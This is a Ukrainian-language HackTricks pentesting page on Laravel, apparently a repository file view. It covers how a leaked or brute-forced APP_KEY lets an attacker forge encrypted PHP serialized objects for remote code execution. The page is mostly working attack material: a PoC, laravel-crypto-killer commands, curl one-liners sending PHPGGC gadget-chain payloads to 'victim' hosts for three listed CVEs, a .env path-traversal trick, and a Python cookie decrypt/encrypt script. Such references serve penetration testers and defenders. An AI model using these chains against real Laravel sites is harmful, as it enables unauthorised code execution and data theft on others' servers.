199 lines
12 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Laravel
{{#include ../../banners/hacktricks-training.md}}
### Laravel SQLInjection
Прочитайте інформацію про це тут: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
---
## APP_KEY & Encryption internals (Laravel \u003e=5.6)
Laravel використовує AES-256-CBC (або GCM) з HMAC цілісності під капотом (`Illuminate\\Encryption\\Encrypter`).
Сирцевий шифротекст, який врешті-решт **надсилається клієнту**, є **Base64 JSON об'єктом** на зразок:
```json
{
"iv" : "Base64(random 16-byte IV)",
"value": "Base64(ciphertext)",
"mac" : "HMAC_SHA256(iv||value, APP_KEY)",
"tag" : "" // only used for AEAD ciphers (GCM)
}
```
`encrypt($value, $serialize=true)` за замовчуванням `serialize()` відкритий текст, тоді як `decrypt($payload, $unserialize=true)` **автоматично `unserialize()`** розшифроване значення. Тому **будь-який атакуючий, який знає 32-байтовий секрет `APP_KEY`, може створити зашифрований PHP серіалізований об'єкт і отримати RCE через магічні методи (`__wakeup`, `__destruct`, …)**.
Мінімальний PoC (фреймворк ≥9.x):
```php
use Illuminate\Support\Facades\Crypt;
$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
$evil = Crypt::encrypt($chain); // JSON->Base64 cipher ready to paste
```
Впровадьте отриманий рядок у будь-який вразливий `decrypt()` sink (параметр маршруту, cookie, сесія тощо).
---
## laravel-crypto-killer 🧨
[laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) автоматизує весь процес і додає зручний **bruteforce** режим:
```bash
# Encrypt a phpggc chain with a known APP_KEY
laravel_crypto_killer.py encrypt -k "base64:<APP_KEY>" -v "$(phpggc Laravel/RCE13 system id -b -f)"
# Decrypt a captured cookie / token
laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>
# Try a word-list of keys against a token (offline)
laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt
```
Скрипт прозоро підтримує як CBC, так і GCM корисні навантаження та повторно генерує поле HMAC/tag.
---
## Вразливі патерни в реальному світі
| Проект | Вразливий sink | Ланцюг гаджетів |
|--------|----------------|-----------------|
| Invoice Ninja ≤v5 (CVE-2024-55555) | `/route/{hash}``decrypt($hash)` | Laravel/RCE13 |
| Snipe-IT ≤v6 (CVE-2024-48987) | `XSRF-TOKEN` cookie, коли увімкнено `Passport::withCookieSerialization()` | Laravel/RCE9 |
| Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie``laravel_session` cookie | Laravel/RCE15 |
Процес експлуатації завжди такий:
1. Отримати або зламати 32-байтовий `APP_KEY`.
2. Побудувати ланцюг гаджетів за допомогою **PHPGGC** (наприклад, `Laravel/RCE13`, `Laravel/RCE9` або `Laravel/RCE15`).
3. Шифрувати серіалізований гаджет за допомогою **laravel_crypto_killer.py** та відновленого `APP_KEY`.
4. Доставити шифротекст до вразливого `decrypt()` sink (параметр маршруту, cookie, сесія …), щоб викликати **RCE**.
Нижче наведені короткі однорядкові команди, що демонструють повний шлях атаки для кожного з вказаних вище CVE в реальному світі:
```bash
# Invoice Ninja ≤5 /route/{hash}
php8.2 phpggc Laravel/RCE13 system id -b -f | \
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v - | \
xargs -I% curl "https://victim/route/%"
# Snipe-IT ≤6 XSRF-TOKEN cookie
php7.4 phpggc Laravel/RCE9 system id -b | \
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v - > xsrf.txt
curl -H "Cookie: XSRF-TOKEN=$(cat xsrf.txt)" https://victim/login
# Crater cookie-based session
php8.2 phpggc Laravel/RCE15 system id -b > payload.bin
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v payload.bin --session_cookie=<orig_hash> > forged.txt
curl -H "Cookie: laravel_session=<orig>; <cookie_name>=$(cat forged.txt)" https://victim/login
```
---
## Масове виявлення APP_KEY через брутфорс куків
Оскільки кожна нова відповідь Laravel встановлює принаймні 1 зашифрований кукі (`XSRF-TOKEN` і зазвичай `laravel_session`), **публічні інтернет-сканери (Shodan, Censys, …) витікають мільйони шифротекстів**, які можна атакувати офлайн.
Ключові висновки дослідження, опублікованого Synacktiv (2024-2025):
* Набір даних липень 2024 » 580 тис. токенів, **3.99 % ключів зламано** (≈23 тис.)
* Набір даних травень 2025 » 625 тис. токенів, **3.56 % ключів зламано**
* >1 000 серверів все ще вразливі до старого CVE-2018-15133, оскільки токени безпосередньо містять серіалізовані дані.
* Велике повторне використання ключів Топ-10 APP_KEYs є жорстко закодованими значеннями за замовчуванням, які постачаються з комерційними шаблонами Laravel (UltimatePOS, Invoice Ninja, XPanel, …).
Приватний інструмент Go **nounours** підвищує пропускну здатність брутфорсу AES-CBC/GCM до ~1.5 мільярда спроб/с, зменшуючи час зламу повного набору даних до <2 хвилин.
## Лайфхаки Laravel
### Режим налагодження
Якщо Laravel знаходиться в **режимі налагодження**, ви зможете отримати доступ до **коду** та **чутливих даних**.\
Наприклад `http://127.0.0.1:8000/profiles`:
![](<../../images/image (1046).png>)
Це зазвичай потрібно для експлуатації інших CVE RCE Laravel.
### .env
Laravel зберігає APP, який він використовує для шифрування куків та інших облікових даних, у файлі під назвою `.env`, до якого можна отримати доступ за допомогою деякого обходу шляху: `/../.env`
Laravel також покаже цю інформацію на сторінці налагодження (яка з'являється, коли Laravel знаходить помилку і вона активована).
Використовуючи секретний APP_KEY Laravel, ви можете розшифрувати та повторно зашифрувати куки:
### Розшифрувати кукі
```python
import os
import json
import hashlib
import sys
import hmac
import base64
import string
import requests
from Crypto.Cipher import AES
from phpserialize import loads, dumps
#https://gist.github.com/bluetechy/5580fab27510906711a2775f3c4f5ce3
def mcrypt_decrypt(value, iv):
global key
AES.key_size = [len(key)]
crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
return crypt_object.decrypt(value)
def mcrypt_encrypt(value, iv):
global key
AES.key_size = [len(key)]
crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
return crypt_object.encrypt(value)
def decrypt(bstring):
global key
dic = json.loads(base64.b64decode(bstring).decode())
mac = dic['mac']
value = bytes(dic['value'], 'utf-8')
iv = bytes(dic['iv'], 'utf-8')
if mac == hmac.new(key, iv+value, hashlib.sha256).hexdigest():
return mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))
#return loads(mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))).decode()
return ''
def encrypt(string):
global key
iv = os.urandom(16)
#string = dumps(string)
padding = 16 - len(string) % 16
string += bytes(chr(padding) * padding, 'utf-8')
value = base64.b64encode(mcrypt_encrypt(string, iv))
iv = base64.b64encode(iv)
mac = hmac.new(key, iv+value, hashlib.sha256).hexdigest()
dic = {'iv': iv.decode(), 'value': value.decode(), 'mac': mac}
return base64.b64encode(bytes(json.dumps(dic), 'utf-8'))
app_key ='HyfSfw6tOF92gKtVaLaLO4053ArgEf7Ze0ndz0v487k='
key = base64.b64decode(app_key)
decrypt('eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlhcL1JGY0t6YzhaaGNHR1duSktIdjF1elwvNXhrd1Q4SVlXMzBrbTV0MWk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9')
#b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\\";s:8:\\"username\\";s:8:\\"guestc32\\";s:5:\\"order\\";s:2:\\"id\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e'
encrypt(b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\\";s:8:\\"username\\";s:8:\\"guest60e\\";s:5:\\"order\\";s:8:\\"lolololo\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605141157}')
```
### Laravel Deserialization RCE
Вразливі версії: 5.5.40 та 5.6.x до 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/))
Тут ви можете знайти інформацію про вразливість десеріалізації: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/)
Ви можете протестувати та експлуатувати це, використовуючи [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\
Або ви також можете експлуатувати це з metasploit: `use unix/http/laravel_token_unserialize_exec`
### CVE-2021-3129
Ще одна десеріалізація: [https://github.com/ambionics/laravel-exploits](https://github.com/ambionics/laravel-exploits)
## References
* [Laravel: APP_KEY leakage analysis (EN)](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html)
* [Laravel : analyse de fuite dAPP_KEY (FR)](https://www.synacktiv.com/publications/laravel-analyse-de-fuite-dappkey.html)
* [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer)
* [PHPGGC PHP Generic Gadget Chains](https://github.com/ambionics/phpggc)
* [CVE-2018-15133 write-up (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce)
{{#include ../../banners/hacktricks-training.md}}